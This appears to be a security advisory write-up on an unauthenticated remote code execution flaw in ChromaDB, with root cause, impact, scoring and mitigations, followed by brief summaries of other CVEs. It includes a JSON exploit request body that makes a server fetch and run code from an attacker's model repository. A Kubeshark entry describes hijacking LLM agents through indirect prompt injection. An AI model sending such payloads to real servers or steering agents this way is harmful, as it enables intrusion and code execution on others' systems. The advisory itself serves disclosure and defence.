May 21, 2026·5 min read·210 visits
Unauthenticated Remote Code Execution in ChromaDB <= 1.5.8 via arbitrary code injection in the `trust_remote_code` configuration of the SentenceTransformerEmbeddingFunction.
CVE-2026-45829, commonly referred to as ChromaToast, is a critical Pre-Authentication Remote Code Execution (RCE) vulnerability affecting the ChromaDB vector database. The flaw exists in the handling of embedding function configurations during collection creation, allowing unauthenticated attackers to execute arbitrary Python code on the server or client applications.
ChromaDB is an open-source vector database designed for artificial intelligence applications. It provides storage, search, and retrieval capabilities for embeddings. The platform offers a Python-based server and a corresponding client SDK, facilitating interaction with various machine learning models.
CVE-2026-45829 is an unauthenticated Remote Code Execution (RCE) vulnerability affecting ChromaDB versions 1.0.0 through 1.5.8. The vulnerability involves improper input validation during the processing of embedding function configurations. This flaw allows attackers to execute arbitrary code on the host system.
The issue resides in the handling of the trust_remote_code parameter within the SentenceTransformerEmbeddingFunction. When a user requests the creation of a new collection, the server instantiates the specified embedding function based on the provided configuration. The lack of prior authentication or strict parameter filtering exposes the underlying execution engine to untrusted inputs.
The root cause of CVE-2026-45829 is a combination of insecure deserialization principles applied to configuration data and the unsafe default capabilities of the underlying machine learning libraries. The application processes collection configurations submitted via POST requests to the /api/v2/tenants/{tenant}/databases/{db}/collections endpoint.
The application utilizes a function named load_create_collection_configuration_from_json to parse the incoming request body. This function accepts arbitrary keyword arguments (kwargs) and passes them directly to the specified embedding function class. In the case of the SentenceTransformerEmbeddingFunction, these arguments are passed down to the Hugging Face sentence-transformers library.
The Hugging Face library supports a parameter called trust_remote_code, which dictates whether the application should download and execute custom Python scripts associated with a model repository. By supplying a malicious repository name in the model_name field and setting trust_remote_code: true within the kwargs, an attacker forces the server to fetch and execute arbitrary code. This execution occurs prior to the implementation of FastAPI middleware security controls, bypassing any configured authentication requirements.
Exploitation of CVE-2026-45829 requires an attacker to host a malicious model repository on the Hugging Face Hub or a compatible registry. This repository contains the Python payload designed to execute upon initialization by the target system. The attacker then constructs a specific JSON payload to trigger the vulnerability.
The attacker issues an unauthenticated HTTP POST request to the collection creation API endpoint. The request body defines a new collection and explicitly sets the embedding_function configuration to utilize the sentence-transformers library. The configuration specifies the attacker-controlled model repository and enables the remote code execution flag.
{
"name": "malicious_collection",
"embedding_function": {
"name": "sentence-transformers",
"config": {
"model_name": "attacker-namespace/malicious-repo",
"kwargs": {
"trust_remote_code": true
}
}
}
}Upon receiving this request, the ChromaDB server attempts to initialize the collection. The sentence-transformers library connects to the specified repository, downloads the model artifacts including the custom Python script, and executes the script within the context of the ChromaDB process. This results in immediate code execution without requiring prior authentication.
In addition to direct server exploitation, CVE-2026-45829 introduces a secondary attack vector targeting the ChromaDB Python Client SDK. This vector relies on an attacker gaining sufficient access to modify an existing collection or create a new, poisoned collection on a centralized ChromaDB instance.
Once access is established, the attacker sets the collection's embedding function configuration to reference their malicious repository and enables the remote code flag. The server stores this configuration persistently. The vulnerability lies dormant until a legitimate user interacts with the compromised collection.
When a user connects to the poisoned collection using the Python Client SDK without explicitly defining a local embedding function, the SDK automatically retrieves the collection configuration from the server. The client application then instantiates the embedding function locally, downloading and executing the attacker's code on the client machine. This mechanism effectively transforms the ChromaDB server into a distribution point for malicious code.
The impact of CVE-2026-45829 is categorized as critical, possessing a CVSS v4.0 score of 10.0. An attacker achieving exploitation gains unauthenticated Remote Code Execution on the host running the ChromaDB server. This execution occurs with the privileges of the ChromaDB process.
Successful exploitation permits full compromise of the underlying operating system. The attacker can exfiltrate sensitive data stored within the vector database, including proprietary embeddings and associated metadata. The attacker can also modify existing data, corrupting the integrity of downstream artificial intelligence applications relying on the database.
Furthermore, the compromised system serves as a foothold for lateral movement within the target network. The secondary attack vector extends the impact beyond the server infrastructure, threatening the endpoints of developers and data scientists interacting with the database via the Python SDK.
The primary remediation for CVE-2026-45829 is upgrading the ChromaDB server and client components to a version subsequent to 1.5.8. System administrators must ensure that all instances of the application, including those deployed within containerized environments, are updated to a secure release.
If immediate patching is unfeasible, administrators must disable the trust_remote_code functionality within the global server configuration. This mitigation prevents the sentence-transformers library from executing custom scripts, neutralizing the primary attack vector. Administrators should verify that this configuration change does not disrupt legitimate operations requiring remote model code.
Organizations must enforce strict network security controls around the ChromaDB API. Access to the API should be restricted using firewalls or Virtual Private Clouds (VPCs) to prevent exposure to untrusted networks. Additionally, robust authentication mechanisms, such as Static API Keys or OAuth, should be implemented to ensure only authorized entities can interact with the collection management endpoints.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H| Product | Affected Versions | Fixed Version |
|---|---|---|
ChromaDB Chroma | 1.0.0 - 1.5.8 | > 1.5.8 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 |
| Attack Vector | Network |
| CVSS v4.0 | 10.0 |
| EPSS Score | 0.00139 |
| Impact | Pre-Authentication Remote Code Execution |
| Exploit Status | Proof of Concept Available |
| CISA KEV | Not Listed |
Improper Control of Generation of Code ('Code Injection')
CVE-2026-129299 (GHSA-24mq-4vc6-2prf) is a parsing and serialization flaw in SpamScope mail-parser prior to version 4.6.2. The library uses reflective Python attribute resolution (getattr) over untrusted email header names and applies caller convenience transformations (such as underscore-to-hyphen folding and _json/_raw suffix stripping) directly to wire headers. An unauthenticated remote attacker can send crafted emails that trigger uncaught TypeError exceptions during JSON serialization or cause security-relevant headers and body content to be silently dropped without setting defect indicators.
CVE-2026-129236 is a command-line argument injection vulnerability (CWE-88) in Kubeshark, an eBPF-based network observability tool for Kubernetes. Located within the Model Context Protocol (MCP) server implementation in cmd/mcpRunner.go, the flaw occurs when handling the start_kubeshark tool request. When the MCP server runs with the --allow-destructive flag, the callStartKubeshark function appends the caller-supplied pod_regex parameter directly to the kubeshark tap argument slice without an end-of-options (--) delimiter. Because Kubeshark uses the Cobra and pflag libraries for command-line parsing, any pod_regex value prefixed with a hyphen is interpreted as a CLI flag rather than a positional regular expression. An attacker capable of influencing MCP tool arguments, such as through indirect prompt injection against a connected Large Language Model (LLM) agent, can inject the --set flag to override Helm chart values like tap.docker.registry. Because Kubeshark deploys its worker DaemonSet with privileged security contexts and host networking enabled, redirecting the container image registry allows arbitrary code execution as root across all Kubernetes cluster nodes.
Kubeshark versions 53.1.0 prior to 53.4.0 contain an arbitrary file write and path traversal vulnerability (CWE-22) alongside an argument injection vulnerability (CWE-88) in the Model Context Protocol (MCP) server implementation (cmd/mcpRunner.go). The download_file tool fails to validate caller-supplied path and dest arguments, allowing an attacker who influences an AI agent driving kubeshark mcp to write Kubeshark Hub API responses to arbitrary locations writable by the local user. Additionally, the start_kubeshark tool appends the pod_regex argument without flag delimiters, allowing argument injection into the kubeshark tap subcommand.
CVE-2026-129300 (GHSA-xhrq-2mqv-q8wx) is an unhandled exception vulnerability in SpamScope mail-parser, a Python library used to parse raw emails. When processing an email with a malformed Received header containing an out-of-range year or timezone offset, standard library datetime conversion routines raise OverflowError or OSError. Because the internal error handler only caught TypeError and ValueError, these exceptions escape the parser hierarchy, terminating email ingestion pipelines and causing a denial of service.
CVE-2026-129301 (GHSA-8cgq-x343-p74c) is an uncaught exception and MIME interpretation conflict vulnerability in the Python email parsing library mail-parser (versions >= 4.6.0 and < 4.6.3). The write_attachments() function iterates over parsed email attachments without per-attachment exception containment. When processing a specially crafted MIME part containing an RFC 2231-encoded null byte in the filename, a basename exceeding filesystem NAME_MAX limits, or a malformed base64 payload, the function raises an unhandled standard library exception (ValueError, OSError, or binascii.Error). This prematurely aborts the attachment extraction loop, preventing subsequent attachments from being written to disk for downstream security inspection while also triggering unhandled worker crashes in applications that only catch MailParserError.
Directus versions prior to 12.3.1 contain an authorization bypass and privilege management flaw in the SharesService component. Authenticated non-administrative users with update permissions on the directus_shares collection can modify the user_created, role, item, and collection fields of an existing owned share. Because the update operation validates permissions solely against the pre-update record state without revalidating the modified fields, an attacker can reassign share ownership and role context to an administrator. Subsequent guest access using the share token derives administrative accountability, exposing restricted relational data.